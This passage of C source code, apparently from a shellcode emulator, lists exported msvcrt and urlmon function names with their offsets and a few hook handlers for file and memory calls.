NULL}, {"_getwch", 0x0001ECF6, NULL, NULL}, {"_getwche", 0x0001ED1A, NULL, NULL}, {"_getws", 0x0002F1B9, NULL, NULL}, {"_global_unwind2", 0x0002544C, NULL, NULL}, {"_gmtime64", 0x00039743, NULL, NULL}, {"_heapadd", 0x0001BC9F, NULL, NULL}, {"_heapchk", 0x0001BCB3, NULL, NULL}, {"_heapmin", 0x0001BD8C, NULL, NULL}, {"_heapset", 0x0001BD82, NULL, NULL}, {"_heapused", 0x0001BE3A, NULL, NULL}, {"_heapwalk", 0x0001BE4D, NULL, NULL}, {"_hypot", 0x0003E6C2, NULL, NULL}, {"_i64toa", 0x0000C2E1, NULL, NULL}, {"_i64tow", 0x0000C489, NULL, NULL}, {"_initterm", 0x00029D67, NULL, NULL}, {"_inp", 0x0001ED70, NULL, NULL}, {"_inpd", 0x0001ED81, NULL, NULL}, {"_inpw", 0x0001ED79, NULL, NULL}, {"_iob", 0x0004FC80, NULL, NULL}, {"_isatty", 0x0001ED8D, NULL, NULL}, {"_isctype", 0x0000C561, NULL, NULL}, {"_ismbbalnum", 0x00020A3C, NULL, NULL}, {"_ismbbalpha", 0x00020A5A, NULL, NULL}, {"_ismbbgraph", 0x00020A78, NULL, NULL}, {"_ismbbkalnum", 0x000209EB, NULL, NULL}, {"_ismbbkana", 0x00020B05, NULL, NULL}, {"_ismbbkprint", 0x00020A06, NULL, NULL}, {"_ismbbkpunct", 0x00020A21, NULL, NULL}, {"_ismbblead", 0x00020ACF, NULL, NULL}, {"_ismbbprint", 0x00020A96, NULL, NULL}, {"_ismbbpunct", 0x00020AB4, NULL, NULL}, {"_ismbbtrail", 0x00020AEA, NULL, NULL}, {"_ismbcalnum", 0x00020B37, NULL, NULL}, {"_ismbcalpha", 0x00020BD1, NULL, NULL}, {"_ismbcdigit", 0x00020C6B, NULL, NULL}, {"_ismbcgraph", 0x00020CF6, NULL, NULL}, {"_ismbchira", 0x00020D90, NULL, NULL}, {"_ismbckata", 0x00020DC1, NULL, NULL}, {"_ismbcl0", 0x00020E35, NULL, NULL}, {"_ismbcl1", 0x00020E8A, NULL, NULL}, {"_ismbcl2", 0x00020EE7, NULL, NULL}, {"_ismbclegal", 0x00020F44, NULL, NULL}, {"_ismbclower", 0x00020F87, NULL, NULL}, {"_ismbcprint", 0x00021018, NULL, NULL}, {"_ismbcpunct", 0x000210B2, NULL, NULL}, {"_ismbcspace", 0x00021148, NULL, NULL}, {"_ismbcsymbol", 0x00020DFB, NULL, NULL}, {"_ismbcupper", 0x000211D3, NULL, NULL}, {"_ismbslead", 0x000212A8, NULL, NULL}, {"_ismbstrail", 0x000212D8, NULL, NULL}, {"_isnan", 0x0003EB3D, NULL, NULL}, {"_itoa", 0x0000C1F3, NULL, NULL}, {"_itow", 0x0000C392, NULL, NULL}, {"_j0", 0x0003FA90, NULL, NULL}, {"_j1", 0x0003FB8A, NULL, NULL}, {"_jn", 0x0003FCA4, NULL, NULL}, {"_kbhit", 0x0001EAE7, NULL, NULL}, {"_lfind", 0x00025D9A, NULL, NULL}, {"_loaddll", 0x000186E8, NULL, NULL}, {"_local_unwind2", 0x000254A7, NULL, NULL}, {"_localtime64", 0x0003996F, NULL, NULL}, {"_lock", 0x0002A5BB, NULL, NULL}, {"_locking", 0x0001EE84, NULL, NULL}, {"_logb", 0x0003E782, NULL, NULL}, {"_longjmpex", 0x00025DD4, NULL, NULL}, {"_lrotl", 0x00025DDE, NULL, NULL}, {"_lrotr", 0x00025E02, NULL, NULL}, {"_lsearch", 0x00025E26, NULL, NULL}, {"_lseek", 0x0001EFB0, NULL, NULL}, {"_lseeki64", 0x0001F0EA, NULL, NULL}, {"_ltoa", 0x0000C222, NULL, NULL}, {"_ltow", 0x0000C3C1, NULL, NULL}, {"_makepath", 0x00025E76, NULL, NULL}, {"_mbbtombc", 0x0002132C, NULL, NULL}, {"_mbbtype", 0x0002146F, NULL, NULL}, {"_mbcasemap", 0x00052680, NULL, NULL}, {"_mbccpy", 0x0002149F, NULL, NULL}, {"_mbcjistojms", 0x000214C7, NULL, NULL}, {"_mbcjmstojis", 0x00021534, NULL, NULL}, {"_mbclen", 0x000215E8, NULL, NULL}, {"_mbctohira", 0x00021608, NULL, NULL}, {"_mbctokata", 0x00021644, NULL, NULL}, {"_mbctolower", 0x00021671, NULL, NULL}, {"_mbctombb", 0x0002139E, NULL, NULL}, {"_mbctoupper", 0x000216FD, NULL, NULL}, {"_mbctype", 0x00052560, NULL, NULL}, {"_mbsbtype", 0x000217CF, NULL, NULL}, {"_mbscat", 0x00036040, NULL, NULL}, {"_mbschr", 0x000217FF, NULL, NULL}, {"_mbscmp", 0x00021881, NULL, NULL}, {"_mbscoll", 0x00021944, NULL, NULL}, {"_mbscpy", 0x00036030, NULL, NULL}, {"_mbscspn", 0x00021A0B, NULL, NULL}, {"_mbsdec", 0x00021A3B, NULL, NULL}, {"_mbsdup", 0x00036125, NULL, NULL}, {"_mbsicmp", 0x00021AA3, NULL, NULL}, {"_mbsicoll", 0x00021BF5, NULL, NULL}, {"_mbsinc", 0x00021C3E, NULL, NULL}, {"_mbslen", 0x00021C5F, NULL, NULL}, {"_mbslwr", 0x00021CBA, NULL, NULL}, {"_mbsnbcat", 0x00021D46, NULL, NULL}, {"_mbsnbcmp", 0x00021E1D, NULL, NULL}, {"_mbsnbcnt", 0x00021F38, NULL, NULL}, {"_mbsnbcoll", 0x00021F68, NULL, NULL}, {"_mbsnbcpy", 0x00021FBD, NULL, NULL}, {"_mbsnbicmp", 0x00022057, NULL, NULL}, {"_mbsnbicoll", 0x000221CD, NULL, NULL}, {"_mbsnbset", 0x00022222, NULL, NULL}, {"_mbsncat", 0x0002229D, NULL, NULL}, {"_mbsnccnt", 0x00022360, NULL, NULL}, {"_mbsncmp", 0x000223B7, NULL, NULL}, {"_mbsncoll", 0x00022463, NULL, NULL}, {"_mbsncpy", 0x000224D4, NULL, NULL}, {"_mbsnextc", 0x00022563, NULL, NULL}, {"_mbsnicmp", 0x0002258B, NULL, NULL}, {"_mbsnicoll", 0x000226D8, NULL, NULL}, {"_mbsninc", 0x00022749, NULL, NULL}, {"_mbsnset", 0x0002276F, NULL, NULL}, {"_mbspbrk", 0x000228D3, NULL, NULL}, {"_mbsrchr", 0x00022903, NULL, NULL}, {"_mbsrev", 0x00022975, NULL, NULL}, {"_mbsset", 0x000229E8, NULL, NULL}, {"_mbsspn", 0x00022AC4, NULL, NULL}, {"_mbsspnp", 0x00022B80, NULL, NULL}, {"_mbsstr", 0x00022BB0, NULL, NULL}, {"_mbstok", 0x00022C70, NULL, NULL}, {"_mbstrlen", 0x0000C591, NULL, NULL}, {"_mbsupr", 0x00022D22, NULL, NULL}, {"_memccpy", 0x00036170, NULL, NULL}, {"_memicmp", 0x000361C8, NULL, NULL}, {"_mkdir", 0x0000F827, NULL, NULL}, {"_mktemp", 0x0001F1AD, NULL, NULL}, {"_mktime64", 0x00039DCE, NULL, NULL}, {"_msize", 0x0001BF6C, NULL, NULL}, {"_nextafter", 0x0003E874, NULL, NULL}, {"_onexit", 0x00024DF8, NULL, NULL}, {"_open", 0x0001F566, NULL, NULL}, {"_open_osfhandle", 0x0001E6B2, NULL, NULL}, {"_osplatform", 0x00051A14, NULL, NULL}, {"_osver", 0x00051A18, NULL, NULL}, {"_outp", 0x0001F620, NULL, NULL}, {"_outpd", 0x0001F63A, NULL, NULL}, {"_outpw", 0x0001F62D, NULL, NULL}, {"_pclose", 0x0002F6DD, NULL, NULL}, {"_pctype", 0x0004F988, NULL, NULL}, {"_pgmptr", 0x00051A44, NULL, NULL}, {"_pipe", 0x0001F64A, NULL, NULL}, {"_popen", 0x0002F290, NULL, NULL}, {"_purecall", 0x00025F0D, NULL, NULL}, {"_putch", 0x0001F894, NULL, NULL}, {"_putenv", 0x00025FCC, NULL, NULL}, {"_putw", 0x0002F771, NULL, NULL}, {"_putwch", 0x0001D3CA, NULL, NULL}, {"_putws", 0x0002F7F6, NULL, NULL}, {"_pwctype", 0x0004F98C, NULL, NULL}, {"_read", 0x0001FAA3, NULL, NULL}, {"_resetstkoflw", 0x0001C03F, NULL, NULL}, {"_rmdir", 0x0000F85E, NULL, NULL}, {"_rmtmp", 0x0002F88A, NULL, NULL}, {"_rotl", 0x00025DDE, NULL, NULL}, {"_rotr", 0x00025E02, NULL, NULL}, {"_safe_fdiv", 0x0003DE8C, NULL, NULL}, {"_safe_fdivr", 0x0003DEA1, NULL, NULL}, {"_safe_fprem", 0x0003E429, NULL, NULL}, {"_safe_fprem1", 0x0003E42F, NULL, NULL}, {"_scalb", 0x0003E763, NULL, NULL}, {"_scprintf", 0x0002F990, NULL, NULL}, {"_scwprintf", 0x0002FA3E, NULL, NULL}, {"_searchenv", 0x00026010, NULL, NULL}, {"_seh_longjmp_unwind", 0x00025D7A, NULL, NULL}, {"_set_SSE2_enable", 0x00040265, NULL, NULL}, {"_set_error_mode", 0x00025348, NULL, NULL}, {"_set_sbh_threshold", 0x0001B6E0, NULL, NULL}, {"_seterrormode", 0x0000E890, NULL, NULL}, {"_setjmp", 0x0002615C, NULL, NULL}, {"_setjmp3", 0x0002619C, NULL, NULL}, {"_setmaxstdio", 0x0002F02C, NULL, NULL}, {"_setmbcp", 0x0002084D, NULL, NULL}, {"_setmode", 0x0001FBC7, NULL, NULL}, {"_setsystime", 0x000396D3, NULL, NULL}, {"_sleep", 0x0000E0E8, NULL, NULL}, {"_snprintf", 0x0002FA76, NULL, NULL}, {"_snscanf", 0x0002FAD4, NULL, NULL}, {"_snwprintf", 0x0002FB0C, NULL, NULL}, {"_snwscanf", 0x0002FB83, NULL, NULL}, {"_sopen", 0x0001F5C0, NULL, NULL}, {"_spawnl", 0x0001871F, NULL, NULL}, {"_spawnle", 0x0001873F, NULL, NULL}, {"_spawnlp", 0x0001876B, NULL, NULL}, {"_spawnlpe", 0x00018789, NULL, NULL}, {"_spawnv", 0x000187B5, NULL, NULL}, {"_spawnve", 0x0001882E, NULL, NULL}, {"_spawnvp", 0x000189C5, NULL, NULL}, {"_spawnvpe", 0x000189E4, NULL, NULL}, {"_splitpath", 0x0002621C, NULL, NULL}, {"_stat", 0x0000F959, NULL, NULL}, {"_stat64", 0x0000FCA2, NULL, NULL}, {"_stati64", 0x000100A8, NULL, NULL}, {"_statusfp", 0x0003EDC0, NULL, NULL}, {"_strcmpi", 0x0003624E, NULL, NULL}, {"_strdate", 0x00039DE5, NULL, NULL}, {"_strdup", 0x00036125, NULL, NULL}, {"_strerror", 0x00026372, NULL, NULL}, {"_stricmp", 0x0003624E, NULL, NULL}, {"_stricoll", 0x000362BE, NULL, NULL}, {"_strlwr", 0x00036320, NULL, NULL}, {"_strncoll", 0x0003643F, NULL, NULL}, {"_strnicmp", 0x000364BF, NULL, NULL}, {"_strnicoll", 0x00036545, NULL, NULL}, {"_strnset", 0x000365D0, NULL, NULL}, {"_strrev", 0x00036600, NULL, NULL}, {"_strset", 0x00036640, NULL, NULL}, {"_strtime", 0x00039E5C, NULL, NULL}, {"_strtoi64", 0x0000C877, NULL, NULL}, {"_strtoui64", 0x0000C896, NULL, NULL}, {"_strupr", 0x00036665, NULL, NULL}, {"_swab", 0x0000C8B5, NULL, NULL}, {"_sys_errlist", 0x0004F9D8, NULL, NULL}, {"_sys_nerr", 0x0004FA88, NULL, NULL}, {"_tell", 0x0001FC63, NULL, NULL}, {"_telli64", 0x0001FC7E, NULL, NULL}, {"_tempnam", 0x0002FC13, NULL, NULL}, {"_time64", 0x00039ECA, NULL, NULL}, {"_timezone", 0x0004FFD0, NULL, NULL}, {"_tolower", 0x0000C8E8, NULL, NULL}, {"_toupper", 0x0000C9F5, NULL, NULL}, {"_tzname", 0x00050060, NULL, NULL}, {"_tzset", 0x0003A541, NULL, NULL}, {"_ui64toa", 0x0000C319, NULL, NULL}, {"_ui64tow", 0x0000C4C1, NULL, NULL}, {"_ultoa", 0x0000C24E, NULL, NULL}, {"_ultow", 0x0000C3ED, NULL, NULL}, {"_umask", 0x0002645B, NULL, NULL}, {"_ungetch", 0x0001EA76, NULL, NULL}, {"_ungetwch", 0x0001ED3E, NULL, NULL}, {"_unlink", 0x0001043E, NULL, NULL}, {"_unloaddll", 0x000186FD, NULL, NULL}, {"_unlock", 0x0002A519, NULL, NULL}, {"_utime", 0x0003949E, NULL, NULL}, {"_utime64", 0x00039631, NULL, NULL}, {"_vscprintf", 0x0002FEA7, NULL, NULL}, {"_vscwprintf", 0x0002FF53, NULL, NULL}, {"_vsnprintf", 0x0002FF8A, NULL, NULL}, {"_vsnwprintf", 0x0002FFE7, NULL, NULL}, {"_waccess", 0x0001044E, NULL, NULL}, {"_wasctime", 0x0003A5A9, NULL, NULL}, {"_wchdir", 0x0001049E, NULL, NULL}, {"_wchmod", 0x00010544, NULL, NULL}, {"_wcmdln", 0x000517A8, NULL, NULL}, {"_wcreat", 0x0001FC9B, NULL, NULL}, {"_wcsdup", 0x00036784, NULL, NULL}, {"_wcserror", 0x0002647B, NULL, NULL}, {"_wcsicmp", 0x000367BD, NULL, NULL}, {"_wcsicoll", 0x00036871, NULL, NULL}, {"_wcslwr", 0x00036917, NULL, NULL}, {"_wcsncoll", 0x00036A3B, NULL, NULL}, {"_wcsnicmp", 0x00036ABB, NULL, NULL}, {"_wcsnicoll", 0x00036B82, NULL, NULL}, {"_wcsnset", 0x00036C46, NULL, NULL}, {"_wcsrev", 0x00036C76, NULL, NULL}, {"_wcsset", 0x00036CB2, NULL, NULL}, {"_wcstoi64", 0x0000CD5D, NULL, NULL}, {"_wcstoui64", 0x0000CD7C, NULL, NULL}, {"_wcsupr", 0x00036CD4, NULL, NULL}, {"_wctime", 0x0003A690, NULL, NULL}, {"_wctime64", 0x0003A6B4, NULL, NULL}, {"_wenviron", 0x00051A3C, NULL, NULL}, {"_wexecl", 0x00018BA8, NULL, NULL}, {"_wexecle", 0x00018BC5, NULL, NULL}, {"_wexeclp", 0x00018BEE, NULL, NULL}, {"_wexeclpe", 0x00018C08, NULL, NULL}, {"_wexecv", 0x00018C31, NULL, NULL}, {"_wexecve", 0x00018CA6, NULL, NULL}, {"_wexecvp", 0x00018DEA, NULL, NULL}, {"_wexecvpe", 0x00018E06, NULL, NULL}, {"_wfdopen", 0x0003005D, NULL, NULL}, {"_wfindfirst", 0x0000E8A5, NULL, NULL}, {"_wfindfirst64", 0x0000EA6A, NULL, NULL}, {"_wfindfirsti64", 0x0000EC83, NULL, NULL}, {"_wfindnext", 0x0000E98A, NULL, NULL}, {"_wfindnext64", 0x0000EB79, NULL, NULL}, {"_wfindnexti64", 0x0000ED89, NULL, NULL}, {"_wfopen", 0x000301E7, NULL, NULL}, {"_wfreopen", 0x00030203, NULL, NULL}, {"_wfsopen", 0x00030186, NULL, NULL}, {"_wfullpath", 0x0001058E, NULL, NULL}, {"_wgetcwd", 0x00010740, NULL, NULL}, {"_wgetdcwd", 0x0001078B, NULL, NULL}, {"_wgetenv", 0x0002655C, NULL, NULL}, {"_winmajor", 0x00051A20, NULL, NULL}, {"_winminor", 0x00051A24, NULL, NULL}, {"_winver", 0x00051A1C, NULL, NULL}, {"_wmakepath", 0x000265A0, NULL, NULL}, {"_wmkdir", 0x000107D7, NULL, NULL}, {"_wmktemp", 0x0001FCBA, NULL, NULL}, {"_wopen", 0x00020055, NULL, NULL}, {"_wperror", 0x00026658, NULL, NULL}, {"_wpgmptr", 0x00051A48, NULL, NULL}, {"_wpopen", 0x0003026E, NULL, NULL}, {"_wputenv", 0x00026811, NULL, NULL}, {"_wremove", 0x0001080E, NULL, NULL}, {"_wrename", 0x00010853, NULL, NULL}, {"_write", 0x00020303, NULL, NULL}, {"_wrmdir", 0x0001088B, NULL, NULL}, {"_wsearchenv", 0x00026855, NULL, NULL}, {"_wsetlocale", 0x00026990, NULL, NULL}, {"_wsopen", 0x000200AF, NULL, NULL}, {"_wspawnl", 0x00018F5E, NULL, NULL}, {"_wspawnle", 0x00018F7E, NULL, NULL}, {"_wspawnlp", 0x00018FAA, NULL, NULL}, {"_wspawnlpe", 0x00018FC8, NULL, NULL}, {"_wspawnv", 0x00018FF4, NULL, NULL}, {"_wspawnve", 0x0001906D, NULL, NULL}, {"_wspawnvp", 0x000191B7, NULL, NULL}, {"_wspawnvpe", 0x000191D6, NULL, NULL}, {"_wsplitpath", 0x00026A51, NULL, NULL}, {"_wstat", 0x0001098C, NULL, NULL}, {"_wstat64", 0x00010D65, NULL, NULL}, {"_wstati64", 0x000110EB, NULL, NULL}, {"_wstrdate", 0x0003A6D8, NULL, NULL}, {"_wstrtime", 0x0003A75C, NULL, NULL}, {"_wsystem", 0x0001931E, NULL, NULL}, {"_wtempnam", 0x00030697, NULL, NULL}, {"_wtmpnam", 0x00030931, NULL, NULL}, {"_wtof", 0x0000CD9B, NULL, NULL}, {"_wtoi", 0x0000CEE3, NULL, NULL}, {"_wtoi64", 0x0000CEF3, NULL, NULL}, {"_wtol", 0x0000CE77, NULL, NULL}, {"_wunlink", 0x00010843, NULL, NULL}, {"_wutime", 0x0003A7DA, NULL, NULL}, {"_wutime64", 0x0003A81A, NULL, NULL}, {"_y0", 0x0003FE69, NULL, NULL}, {"_y1", 0x0003FF9C, NULL, NULL}, {"_yn", 0x000400DF, NULL, NULL}, {"abort", 0x00026BB3, NULL, NULL}, {"abs", 0x00026BD0, NULL, NULL}, {"acos", 0x0003CA54, NULL, NULL}, {"asctime", 0x0003A85A, NULL, NULL}, {"asin", 0x0003CB24, NULL, NULL}, {"atan", 0x0003CBE0, NULL, NULL}, {"atan2", 0x0003CD00, NULL, NULL}, {"atexit", 0x00024E35, NULL, NULL}, {"atof", 0x0000CF90, NULL, NULL}, {"atoi", 0x0000BF18, NULL, NULL}, {"atol", 0x0000BE7B, NULL, NULL}, {"bsearch", 0x00026BE5, NULL, NULL}, {"calloc", 0x0001C0C3, NULL, NULL}, {"ceil", 0x00040290, NULL, NULL}, {"clearerr", 0x000309F1, NULL, NULL}, {"clock", 0x0003A969, NULL, NULL}, {"cos", 0x0003CD34, NULL, NULL}, {"cosh", 0x0003CDEA, NULL, NULL}, {"ctime", 0x0003A9F1, NULL, NULL}, {"difftime", 0x0003AA15, NULL, NULL}, {"div", 0x00026D46, NULL, NULL}, {"exit", 0x00029E7E, NULL, NULL}, {"exp", 0x0003CE20, NULL, NULL}, {"fabs", 0x000403B2, NULL, NULL}, {"fclose", 0x00030AB1, env_w32_hook_fclose, NULL}, {"feof", 0x00030B07, NULL, NULL}, {"ferror", 0x00030B1C, NULL, NULL}, {"fflush", 0x0002EEF6, NULL, NULL}, {"fgetc", 0x00030B31, NULL, NULL}, {"fgetpos", 0x00030B86, NULL, NULL}, {"fgets", 0x00030BB1, NULL, NULL}, {"fgetwc", 0x00030D37, NULL, NULL}, {"fgetws", 0x00030D8E, NULL, NULL}, {"floor", 0x00040470, NULL, NULL}, {"fmod", 0x0003CEB0, NULL, NULL}, {"fopen", 0x0002F010, env_w32_hook_fopen, NULL}, {"fprintf", 0x00030E13, NULL, NULL}, {"fputc", 0x00030E76, NULL, NULL}, {"fputs", 0x00030ED3, NULL, NULL}, {"fputwc", 0x0003102C, NULL, NULL}, {"fputws", 0x00031089, NULL, NULL}, {"fread", 0x000311FB, NULL, NULL}, {"free", 0x0001C21B, NULL, NULL}, {"freopen", 0x0003124C, NULL, NULL}, {"frexp", 0x00040596, NULL, NULL}, {"fscanf", 0x000312B7, NULL, NULL}, {"fseek", 0x0003139C, NULL, NULL}, {"fsetpos", 0x000313EA, NULL, NULL}, {"ftell", 0x00031574, NULL, NULL}, {"fwprintf", 0x000315BA, NULL, NULL}, {"fwrite", 0x0003173B, env_w32_hook_fwrite, NULL}, {"fwscanf", 0x0003178C, NULL, NULL}, {"getc", 0x00030B31, NULL, NULL}, {"getchar", 0x0002EB3B, NULL, NULL}, {"getenv", 0x00026D02, NULL, NULL}, {"gets", 0x000317DB, NULL, NULL}, {"getwc", 0x00030D7E, NULL, NULL}, {"getwchar", 0x0002EB56, NULL, NULL}, {"gmtime", 0x0003AA2D, NULL, NULL}, {"is_wctype", 0x0000D090, NULL, NULL}, {"isalnum", 0x0000BCEB, NULL, NULL}, {"isalpha", 0x0000BB05, NULL, NULL}, {"iscntrl", 0x0000BDC6, NULL, NULL}, {"isdigit", 0x0000BBD6, NULL, NULL}, {"isgraph", 0x0000BD7D, NULL, NULL}, {"isleadbyte", 0x0000D0A0, NULL, NULL}, {"islower", 0x0000BB92, NULL, NULL}, {"isprint", 0x0000BD34, NULL, NULL}, {"ispunct", 0x0000BCA7, NULL, NULL}, {"isspace", 0x0000BC63, NULL, NULL}, {"isupper", 0x0000BB4E, NULL, NULL}, {"iswalnum", 0x0000D16D, NULL, NULL}, {"iswalpha", 0x0000D0BF, NULL, NULL}, {"iswascii", 0x0000D1D6, NULL, NULL}, {"iswcntrl", 0x0000D1BE, NULL, NULL}, {"iswctype", 0x0000D036, NULL, NULL}, {"iswdigit", 0x0000D10A, NULL, NULL}, {"iswgraph", 0x0000D1A3, NULL, NULL}, {"iswlower", 0x0000D0F2, NULL, NULL}, {"iswprint", 0x0000D188, NULL, NULL}, {"iswpunct", 0x0000D155, NULL, NULL}, {"iswspace", 0x0000D13D, NULL, NULL}, {"iswupper", 0x0000D0DA, NULL, NULL}, {"iswxdigit", 0x0000D122, NULL, NULL}, {"isxdigit", 0x0000BC1A, NULL, NULL}, {"labs", 0x00026BD0, NULL, NULL}, {"ldexp", 0x00040649, NULL, NULL}, {"ldiv", 0x00026D46, NULL, NULL}, {"localeconv", 0x00026D67, NULL, NULL}, {"localtime", 0x0003AB3D, NULL, NULL}, {"log", 0x0003CEE0, NULL, NULL}, {"log10", 0x0003D040, NULL, NULL}, {"longjmp", 0x00026D74, NULL, NULL}, {"malloc", 0x0001C407, env_w32_hook_malloc, NULL}, {"mblen", 0x0000D1EC, NULL, NULL}, {"mbstowcs", 0x0000D380, NULL, NULL}, {"mbtowc", 0x0000D47A, NULL, NULL}, {"memchr", 0x00036E00, NULL, NULL}, {"memcmp", 0x00036EB0, NULL, NULL}, {"memcpy", 0x00036F70, NULL, NULL}, {"memmove", 0x000372B0, NULL, NULL}, {"memset", 0x000375F0, env_w32_hook_memset, NULL}, {"mktime", 0x0003AE8C, NULL, NULL}, {"modf", 0x00040840, NULL, NULL}, {"perror", 0x00026DF2, NULL, NULL}, {"pow", 0x0003D1A0, NULL, NULL}, {"printf", 0x0003186A, NULL, NULL}, {"putc", 0x00030E76, NULL, NULL}, {"putchar", 0x0002EF74, NULL, NULL}, {"puts", 0x000318D5, NULL, NULL}, {"putwc", 0x00031079, NULL, NULL}, {"putwchar", 0x0002EF9F, NULL, NULL}, {"qsort", 0x00026F50, NULL, NULL}, {"raise", 0x0002518D, NULL, NULL}, {"rand", 0x000271D3, NULL, NULL}, {"realloc", 0x0001C437, NULL, NULL}, {"remove", 0x00010409, NULL, NULL}, {"rename", 0x0001144A, NULL, NULL}, {"rewind", 0x00031983, NULL, NULL}, {"scanf", 0x00031A11, NULL, NULL}, {"setbuf", 0x00031A6A, NULL, NULL}, {"setlocale", 0x00023C31, NULL, NULL}, {"setvbuf", 0x00031A97, NULL, NULL}, {"signal", 0x00024FD4, NULL, NULL}, {"sin", 0x0003D444, NULL, NULL}, {"sinh", 0x0003CDE0, NULL, NULL}, {"sprintf", 0x0002F931, NULL, NULL}, {"sqrt", 0x0003D504, NULL, NULL}, {"srand", 0x000271BC, NULL, NULL}, {"sscanf", 0x00031B72, NULL, NULL}, {"strcat", 0x00036040, NULL, NULL}, {"strchr", 0x00037660, NULL, NULL}, {"strcmp", 0x00037730, NULL, NULL}, {"strcoll", 0x000377B9, NULL, NULL}, {"strcpy", 0x00036030, NULL, NULL}, {"strcspn", 0x00037850, NULL, NULL}, {"strerror", 0x000271FA, NULL, NULL}, {"strftime", 0x000390CD, NULL, NULL}, {"strlen", 0x000378A0, NULL, NULL}, {"strncat", 0x00037920, NULL, NULL}, {"strncmp", 0x00037A50, NULL, NULL}, {"strncpy", 0x00037A90, NULL, NULL}, {"strpbrk", 0x00037BA0, NULL, NULL}, {"strrchr", 0x00037BE0, NULL, NULL}, {"strspn", 0x00037C10, NULL, NULL}, {"strstr", 0x00037C60, NULL, NULL}, {"strtod", 0x0000D4AD, NULL, NULL}, {"strtok", 0x00037CE5, NULL, NULL}, {"strtol", 0x0000D711, NULL, NULL}, {"strtoul", 0x0000D730, NULL, NULL}, {"strxfrm", 0x00037DA7, NULL, NULL}, {"swprintf", 0x0002F9C8, NULL, NULL}, {"swscanf", 0x00031BB3, NULL, NULL}, {"system", 0x000193C7, NULL, NULL}, {"tan", 0x0003D5C4, NULL, NULL}, {"tanh", 0x0003CDF1, NULL, NULL}, {"time", 0x0003AEA3, NULL, NULL}, {"tmpfile", 0x00031D8F, NULL, NULL}, {"tmpnam", 0x00031CBF, NULL, NULL}, {"tolower", 0x0000C9C9, NULL, NULL}, {"toupper", 0x0000CAD7, NULL, NULL}, {"towlower", 0x0000D7B7, NULL, NULL}, {"towupper", 0x0000D877, NULL, NULL}, {"ungetc", 0x00031F23, NULL, NULL}, {"ungetwc", 0x00032084, NULL, NULL}, {"vfprintf", 0x000320CF, NULL, NULL}, {"vfwprintf", 0x00032131, NULL, NULL}, {"vprintf", 0x00032193, NULL, NULL}, {"vsprintf", 0x0002FE49, NULL, NULL}, {"vswprintf", 0x0002FEDE, NULL, NULL}, {"vwprintf", 0x000321F7, NULL, NULL}, {"wcscat", 0x00037E61, NULL, NULL}, {"wcschr", 0x00037EB8, NULL, NULL}, {"wcscmp", 0x00037EE3, NULL, NULL}, {"wcscoll", 0x00037F1F, NULL, NULL}, {"wcscpy", 0x00037E94, NULL, NULL}, {"wcscspn", 0x00037F81, NULL, NULL}, {"wcsftime", 0x0003AEE3, NULL, NULL}, {"wcslen", 0x00037FCC, NULL, NULL}, {"wcsncat", 0x00037FEB, NULL, NULL}, {"wcsncmp", 0x0003802F, NULL, NULL}, {"wcsncpy", 0x0003806B, NULL, NULL}, {"wcspbrk", 0x000380B0, NULL, NULL}, {"wcsrchr", 0x000380F9, NULL, NULL}, {"wcsspn", 0x00038132, NULL, NULL}, {"wcsstr", 0x00038180, NULL, NULL}, {"wcstod", 0x0000D8C5, NULL, NULL}, {"wcstok", 0x000381E6, NULL, NULL}, {"wcstol", 0x0000DC2B, NULL, NULL}, {"wcstombs", 0x0000DE16, NULL, NULL}, {"wcstoul", 0x0000DC4A, NULL, NULL}, {"wcsxfrm", 0x00038292, NULL, NULL}, {"wctomb", 0x0000DEB0, NULL, NULL}, {"wprintf", 0x0003225B, NULL, NULL}, {"wscanf", 0x000322C6, NULL, NULL}, {0, 0, NULL} }; struct emu_env_w32_dll_export urlmon_exports[] = { { "AsyncGetClassBits", 0x0003DF95, NULL, NULL}, { "AsyncInstallDistributionUnit", 0x0003DA19, NULL, NULL}, { "BindAsyncMoniker", 0x0002C9CF, NULL, NULL}, { "CDLGetLongPathNameA", 0x0003E4A5, NULL, NULL}, { "CDLGetLongPathNameW", 0x0003E4D0, NULL, NULL}, { "CoGetClassObjectFromURL", 0x0003DBF3, NULL, NULL}, { "CoInstall", 0x0003C747, NULL, NULL}, { "CoInternetCombineUrl", 0x00016459, NULL, NULL}, { "CoInternetCompareUrl", 0x0002E83F, NULL, NULL}, { "CoInternetCreateSecurityManager", 0x000030E7, NULL, NULL}, { "CoInternetCreateZoneManager", 0x00009BE7, NULL, NULL}, { "CoInternetFeatureSettingsChanged", 0x0005DFEF, NULL, NULL}, { "CoInternetGetProtocolFlags", 0x00054F4C, NULL, NULL}, { "CoInternetGetSecurityUrl", 0x0000455E, NULL, NULL}, { "CoInternetGetSession", 0x0000CB90, NULL, NULL}, { "CoInternetIsFeatureEnabled", 0x000027C0, NULL, NULL}, { "CoInternetIsFeatureEnabledForUrl", 0x0000BB5E, NULL, NULL}, { "CoInternetIsFeatureZoneElevationEnabled", 0x0002F48F, NULL, NULL}, { "CoInternetParseUrl", 0x0000CEAC, NULL, NULL}, { "CoInternetQueryInfo", 0x00015DEF, NULL, NULL}, { "CoInternetSetFeatureEnabled", 0x0002F5ED, NULL, NULL}, { "CompareSecurityIds", 0x00033BD0, NULL, NULL}, { "CompatFlagsFromClsid", 0x00016BB3, NULL, NULL}, { "CopyBindInfo", 0x000107E4, NULL, NULL}, { "CopyStgMedium", 0x000108A7, NULL, NULL}, { "CreateAsyncBindCtx", 0x00019C24, NULL, NULL}, { "CreateAsyncBindCtxEx", 0x00015D58, NULL, NULL}, { "CreateFormatEnumerator", 0x00018353, NULL, NULL}, { "CreateURLMoniker", 0x0000D381, NULL, NULL}, { "CreateURLMonikerEx", 0x0000D39F, NULL, NULL}, { "DllCanUnloadNow", 0x00002EEC, NULL, NULL}, { "DllGetClassObject", 0x00006042, NULL, NULL}, { "DllInstall", 0x0002CE5C, NULL, NULL}, { "DllRegisterServer", 0x0002CB45, NULL, NULL}, { "DllRegisterServerEx", 0x0002CE51, NULL, NULL}, { "DllUnregisterServer", 0x0002CCDD, NULL, NULL}, { "Extract", 0x0003EAC5, NULL, NULL}, { "FaultInIEFeature", 0x00017648, NULL, NULL}, { "FindMediaType", 0x00012AEB, NULL, NULL}, { "FindMediaTypeClass", 0x000182D9, NULL, NULL}, { "FindMimeFromData", 0x0002E810, NULL, NULL}, { "GetClassFileOrMime", 0x0002EED3, NULL, NULL}, { "GetClassURL", 0x000369FD, NULL, NULL}, { "GetComponentIDFromCLSSPEC", 0x0003F2DF, NULL, NULL}, { "GetMarkOfTheWeb", 0x0005F3DD, NULL, NULL}, { "GetSoftwareUpdateInfo", 0x00043A4A, NULL, NULL}, { "HlinkGoBack", 0x0005927C, NULL, NULL}, { 